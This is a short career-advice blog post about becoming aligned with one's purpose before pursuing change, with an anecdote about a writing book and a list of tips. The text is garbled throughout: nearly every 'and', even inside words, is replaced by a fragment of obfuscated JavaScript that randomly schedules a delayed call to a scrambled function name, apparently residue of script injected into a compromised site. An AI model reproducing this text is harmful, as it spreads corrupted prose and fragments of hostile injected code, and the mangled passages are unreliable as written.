Getting Clear on Your Career Purpose

You can change your life fairly quickly by using a new approaches andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and changing your patterns. However, change is difficult. Many people claim to have the burning desire to change their job, career, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and life. They become so desperate for change that they give up in frustration when it doesn’t happen right away.

I realized recently that change doesn’t happen until you are ready for it. How do you become ready for change? You align yourself in mind, body, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spirit with what you want. This became crystal clear to me when I picked up a book I was given 15 years ago. I was twenty years old andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and just embarking on developing a career path. I always knew I wanted to write. I got into a conversation with an employee at a book store. He handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anded me a book called “If You Want to Write” by Barbara Uelandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and; insisting it was the book to read if you wanted to write andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and be creative. I purchased it, looked at it a few times but never read it. I mean who really has the time, right?

It finally jumped from my shelf into my handom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands a few weeks ago. Reading it I am seeing how clearly it fits my career path andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and compliments what I believe in. Basically it was what I could have used all along. So why did I never pick it up? Because I was not aligned with my purpose. I was busy running after every idea that seemed “right” andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and logical in the eyes of the world, but I was never aligned with what I was pursuing. In simple terms, I was disconnected from my purpose andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and not ready for the changes that would allow the space to be connected. I was looking for change so hard, that I created a lot of frustration andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pain for myself, instead of realizing I wasn’t quite ready andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and needed to be comfortable with that. What’s different now? I am completely connected to what my mission is andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and who I am in the world. 

For those of you who are looking for ways to become aligned with their purpose, here are some tips:

  • Be Kind to Yourself: Give yourself the gift of patience in trying to move ahead.
  • Get Comfortable with Being Uncomfortable: You andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and your social network may be uncomfortable with the changes you make, accept uncomfortability as part of the process
  • Be Open to the Voice in your head that tells you what feels right to you
  • Change is Constant: It may feel like changes aren’t happening at all. If you open yourself up to the smallest of changes, you will see that changes will happen faster. The key is allowing the space for them to emerge without labeling them fast or slow, right or wrong.

In the current economic mood of the nation, it may seem difficult to be slow down andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and become comfortable with the change. People are grappling with feelings of fear andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and scarcity andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and feel like they have to make things happen. Consider what I’ve mentioned in the past; when you walk in for a job interview who is the employer more likely to hire: the frazzled, desperate sounding applicant who will take any job or the confident applicant who is aligned with who they are andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and what they can offer to the company.
